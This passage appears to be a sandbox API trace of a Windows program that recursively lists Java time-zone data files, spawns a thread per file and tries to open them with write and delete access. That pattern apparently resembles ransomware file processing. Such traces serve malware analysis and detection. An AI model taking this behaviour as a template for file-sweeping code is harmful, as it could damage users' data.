dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0181.496] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vienna", cAlternateFileName="")) returned 1 [0181.496] wcscmp (_String1="Vienna", _String2=".") returned 1 [0181.496] wcscmp (_String1="Vienna", _String2="..") returned 1 [0181.496] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93bcc0 [0181.496] wcscpy (in: _Dest=0x93bcc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.496] wcscat (in: _Dest=0x93bcc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.496] wcscat (in: _Dest=0x93bcc0, _Source="Vienna" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vienna") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vienna" [0181.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bcc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe34 [0181.497] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vilnius", cAlternateFileName="")) returned 1 [0181.497] wcscmp (_String1="Vilnius", _String2=".") returned 1 [0181.497] wcscmp (_String1="Vilnius", _String2="..") returned 1 [0181.497] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c620 [0181.497] wcscpy (in: _Dest=0x93c620, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.497] wcscat (in: _Dest=0x93c620, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.497] wcscat (in: _Dest=0x93c620, _Source="Vilnius" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vilnius") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vilnius" [0181.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940 [0181.499] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x0, dwReserved1=0x0, cFileName="Volgograd", cAlternateFileName="VOLGOG~1")) returned 1 [0181.499] wcscmp (_String1="Volgograd", _String2=".") returned 1 [0181.499] wcscmp (_String1="Volgograd", _String2="..") returned 1 [0181.499] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cfd80 [0181.499] wcscpy (in: _Dest=0x8cfd80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.499] wcscat (in: _Dest=0x8cfd80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.499] wcscat (in: _Dest=0x8cfd80, _Source="Volgograd" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Volgograd") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Volgograd" [0181.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1594 [0181.500] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="Warsaw", cAlternateFileName="")) returned 1 [0181.500] wcscmp (_String1="Warsaw", _String2=".") returned 1 [0181.500] wcscmp (_String1="Warsaw", _String2="..") returned 1 [0181.500] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93bf90 [0181.500] wcscpy (in: _Dest=0x93bf90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.500] wcscat (in: _Dest=0x93bf90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.500] wcscat (in: _Dest=0x93bf90, _Source="Warsaw" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Warsaw") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Warsaw" [0181.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1598 [0181.716] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zaporozhye", cAlternateFileName="ZAPORO~1")) returned 1 [0181.716] wcscmp (_String1="Zaporozhye", _String2=".") returned 1 [0181.716] wcscmp (_String1="Zaporozhye", _String2="..") returned 1 [0181.716] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0780 [0181.716] wcscpy (in: _Dest=0x8d0780, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.716] wcscat (in: _Dest=0x8d0780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.716] wcscat (in: _Dest=0x8d0780, _Source="Zaporozhye" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Zaporozhye") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Zaporozhye" [0183.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798 [0183.935] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zurich", cAlternateFileName="")) returned 1 [0183.936] wcscmp (_String1="Zurich", _String2=".") returned 1 [0183.936] wcscmp (_String1="Zurich", _String2="..") returned 1 [0183.936] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x12cf9338 [0183.936] wcscpy (in: _Dest=0x12cf9338, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0183.936] wcscat (in: _Dest=0x12cf9338, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0183.936] wcscat (in: _Dest=0x12cf9338, _Source="Zurich" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Zurich") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Zurich" [0183.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf9338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4c [0183.943] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zurich", cAlternateFileName="")) returned 0 [0183.943] FindClose (in: hFindFile=0x8d9c50 | out: hFindFile=0x8d9c50) returned 1 [0183.943] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92d310) returned 1 [0183.943] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f18a8) returned 1 [0183.943] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ece8) returned 1 Thread: id = 5298 os_tid = 0xff4 [0164.255] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\GMT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\gmt")) returned 0x20 [0170.429] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\GMT", dwFileAttributes=0x20) returned 0 [0170.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\GMT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\gmt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.429] GetLastError () returned 0x5 [0170.429] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\GMT", dwFileAttributes=0x20) returned 0 [0170.429] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff068) returned 1 Thread: id = 5299 os_tid = 0x868 [0164.255] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\HST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\hst")) returned 0x20 [0170.212] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\HST", dwFileAttributes=0x20) returned 0 [0170.213] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\HST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\hst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.213] GetLastError () returned 0x5 [0170.213] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\HST", dwFileAttributes=0x20) returned 0 [0170.213] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fedc8) returned 1 Thread: id = 5300 os_tid = 0x86c [0164.255] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f1678 [0164.255] wcscpy (in: _Dest=0x8f1678, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0164.255] wcscat (in: _Dest=0x8f1678, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0164.255] wcscat (in: _Dest=0x8f1678, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*" [0164.255] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92ac90 [0164.255] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*", lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b938 [0170.596] wcscmp (_String1=".", _String2=".") returned 0 [0170.596] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.596] wcscmp (_String1="..", _String2=".") returned 1 [0170.596] wcscmp (_String1="..", _String2="..") returned 0 [0170.596] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Antananarivo", cAlternateFileName="ANTANA~1")) returned 1 [0170.596] wcscmp (_String1="Antananarivo", _String2=".") returned 1 [0170.596] wcscmp (_String1="Antananarivo", _String2="..") returned 1 [0170.596] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0180 [0170.596] wcscpy (in: _Dest=0x8d0180, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0170.596] wcscat (in: _Dest=0x8d0180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0170.596] wcscat (in: _Dest=0x8d0180, _Source="Antananarivo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Antananarivo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Antananarivo" [0173.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164c [0173.812] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chagos", cAlternateFileName="")) returned 1 [0173.813] wcscmp (_String1="Chagos", _String2=".") returned 1 [0173.813] wcscmp (_String1="Chagos", _String2="..") returned 1 [0173.813] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e94a8 [0173.813] wcscpy (in: _Dest=0x8e94a8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0173.813] wcscat (in: _Dest=0x8e94a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0173.813] wcscat (in: _Dest=0x8e94a8, _Source="Chagos" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Chagos") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Chagos" [0173.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e94a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d4 [0173.815] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Christmas", cAlternateFileName="CHRIST~1")) returned 1 [0173.815] wcscmp (_String1="Christmas", _String2=".") returned 1 [0173.815] wcscmp (_String1="Christmas", _String2="..") returned 1 [0173.815] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0500 [0173.815] wcscpy (in: _Dest=0x8d0500, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0173.815] wcscat (in: _Dest=0x8d0500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0173.815] wcscat (in: _Dest=0x8d0500, _Source="Christmas" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Christmas") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Christmas" [0173.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d8 [0173.816] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cocos", cAlternateFileName="")) returned 1 [0173.816] wcscmp (_String1="Cocos", _String2=".") returned 1 [0173.816] wcscmp (_String1="Cocos", _String2="..") returned 1 [0173.816] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8800 [0173.816] wcscpy (in: _Dest=0x8e8800, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0173.816] wcscat (in: _Dest=0x8e8800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0173.816] wcscat (in: _Dest=0x8e8800, _Source="Cocos" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Cocos") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Cocos" [0173.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1120 [0173.817] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comoro", cAlternateFileName="")) returned 1 [0173.817] wcscmp (_String1="Comoro", _String2=".") returned 1 [0173.817] wcscmp (_String1="Comoro", _String2="..") returned 1 [0173.817] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8da0 [0173.818] wcscpy (in: _Dest=0x8e8da0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0173.818] wcscat (in: _Dest=0x8e8da0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0173.818] wcscat (in: _Dest=0x8e8da0, _Source="Comoro" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Comoro") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Comoro" [0173.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c8 [0173.819] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kerguelen", cAlternateFileName="KERGUE~1")) returned 1 [0173.819] wcscmp (_String1="Kerguelen", _String2=".") returned 1 [0173.819] wcscmp (_String1="Kerguelen", _String2="..") returned 1 [0173.819] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0100 [0173.819] wcscpy (in: _Dest=0x8d0100, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0173.819] wcscat (in: _Dest=0x8d0100, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0173.819] wcscat (in: _Dest=0x8d0100, _Source="Kerguelen" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Kerguelen") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Kerguelen" [0173.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1160 [0173.820] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mahe", cAlternateFileName="")) returned 1 [0173.820] wcscmp (_String1="Mahe", _String2=".") returned 1 [0173.820] wcscmp (_String1="Mahe", _String2="..") returned 1 [0173.820] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x93ce88 [0173.820] wcscpy (in: _Dest=0x93ce88, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0173.820] wcscat (in: _Dest=0x93ce88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0173.820] wcscat (in: _Dest=0x93ce88, _Source="Mahe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mahe") returned="C:\\Program Files 